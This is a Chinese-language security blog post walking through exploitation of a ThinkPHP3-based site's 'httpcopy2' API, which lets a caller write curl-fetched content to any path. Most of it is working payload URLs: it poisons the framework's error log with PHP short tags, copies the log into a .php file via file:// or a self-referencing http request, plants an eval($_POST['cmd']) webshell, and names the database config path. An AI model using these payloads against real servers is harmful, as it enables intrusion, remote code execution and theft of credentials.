朋友拿到了一套源码,就拿来练练手了
关键字:ThinkPHP3
、任意文件写入
、file_put_contents
、伪协议
curl_exec()支持ftp, ftps, http, https, gopher, telnet, dict, file, ldapa协议;
首先看一下大概,可以看到是thinkphp3的二开
在index.php中,我们可以看到,应用目录在Application
跟进,可以看到httpcopy2方法中需要我们传入url、path、file三个参数
如果file为空,则会把url参数中的basename提取出来,具体如下示例
虽然也可以通过在vps写一个shell.php的文件名让它提取出来,但是不如我们直接传一个file进去实在
$temp为curl_exec访问的出来的内容
再看一下该文件的命名空间,因此我们访问的方式为:http://www.c6sec.com/Home/Api/httpcopy2
得益于TP方便的传参方式,$url、$path、$file我们都可以直接通过url来直接传参,因此这三个参数我们都能直接控制,通过$path.$file
得到文件名,而通过curl_exec访问某个url得到的内容作为输入的内容(也可以通过file伪协议来读文件,但是必须是绝对路径)。尝试写入百度(通过报错我们能得到文件的绝对路径,相对路径能找到也行)
http://www.c6sec.com/Home/Api/httpcopy2?url=http://www.baidu.com&path=/www/wwwroot/www.c6sec.com/Public/Uploads/file/&file=1234.txt
可以看到,我们成功写入
也就是说现在完全可以开个vps写个一句话,但是为了减少外连痕迹,考虑读log来进行写入
当我们错误的访问某些模块和方法时,tp会将此次error进行记录,路径为/Application/Runtime/Logs/Common/22_08_03.log
,因此http://www.c6sec.com/?m=<?=phpinfo();?>
(这里写入短标签的原因为我们是get传参,空格用%20代替的话,log中将会是%20,因此要用短标签)
写入log后,我们需要将log文件通过刚刚的任意文件写入,将log写入到php中,构造payload
http://www.c6sec.com/Home/Api/httpcopy2?url=file:///www/wwwroot/www.c6sec.com/Application/Runtime/Logs/Common/22_08_03.log&path=/www/wwwroot/www.c6sec.com/Public/Uploads/file/&file=123.php
访问http://www.c6sec.com/Public/Uploads/file/&file=123.php
在本目标中,file无法成功利用,而http协议仍然不受影响,自己远程包含自己即可
访问asdf.txt
写入成功,我们直接写入一句话http://www.c6sec.com/?m=<?=eval($_POST['cmd']);?>
和上面一样,将txt换为php即可。
拿到shell后,突破disablefunction
,php7直接梭
另一方面,数据库配置路径/Application/Common/Conf/db.php
本文作者:硝基苯
本文链接:https://www.c6sec.com/index.php/archives/724/
最后修改时间:2022-08-05 00:08:32
本站未注明转载的文章均为原创,并采用 CC BY-NC-SA 4.0 授权协议,转载请注明来源,谢谢!